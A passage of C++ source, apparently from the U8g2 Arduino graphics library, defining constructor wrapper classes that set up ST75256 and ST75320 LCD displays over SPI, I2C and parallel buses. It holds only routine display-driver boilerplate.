u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX19296_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX19296_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX19296_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX19296_F_6800 : public U8G2 { public: U8G2_ST75256_JLX19296_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_F_8080 : public U8G2 { public: U8G2_ST75256_JLX19296_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX19296_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX19296_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX19296_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX19296_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX19296_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX19296_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX19296_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX19296_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX19296_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX19296_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX16080_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX16080_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX16080_1_6800 : public U8G2 { public: U8G2_ST75256_JLX16080_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_1_8080 : public U8G2 { public: U8G2_ST75256_JLX16080_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX16080_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX16080_2_6800 : public U8G2 { public: U8G2_ST75256_JLX16080_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_2_8080 : public U8G2 { public: U8G2_ST75256_JLX16080_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX16080_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX16080_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX16080_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX16080_F_6800 : public U8G2 { public: U8G2_ST75256_JLX16080_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_F_8080 : public U8G2 { public: U8G2_ST75256_JLX16080_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX16080_1_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX16080_1_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX16080_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX16080_2_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX16080_2_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX16080_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX16080_F_SW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75256_JLX16080_F_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75256_JLX16080_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75256_JLX16080_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75320_JLX320240_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75320_JLX320240_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75320_JLX320240_1_6800 : public U8G2 { public: U8G2_ST75320_JLX320240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_1_8080 : public U8G2 { public: U8G2_ST75320_JLX320240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75320_JLX320240_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75320_JLX320240_2_6800 : public U8G2 { public: U8G2_ST75320_JLX320240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_2_8080 : public U8G2 { public: U8G2_ST75320_JLX320240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, 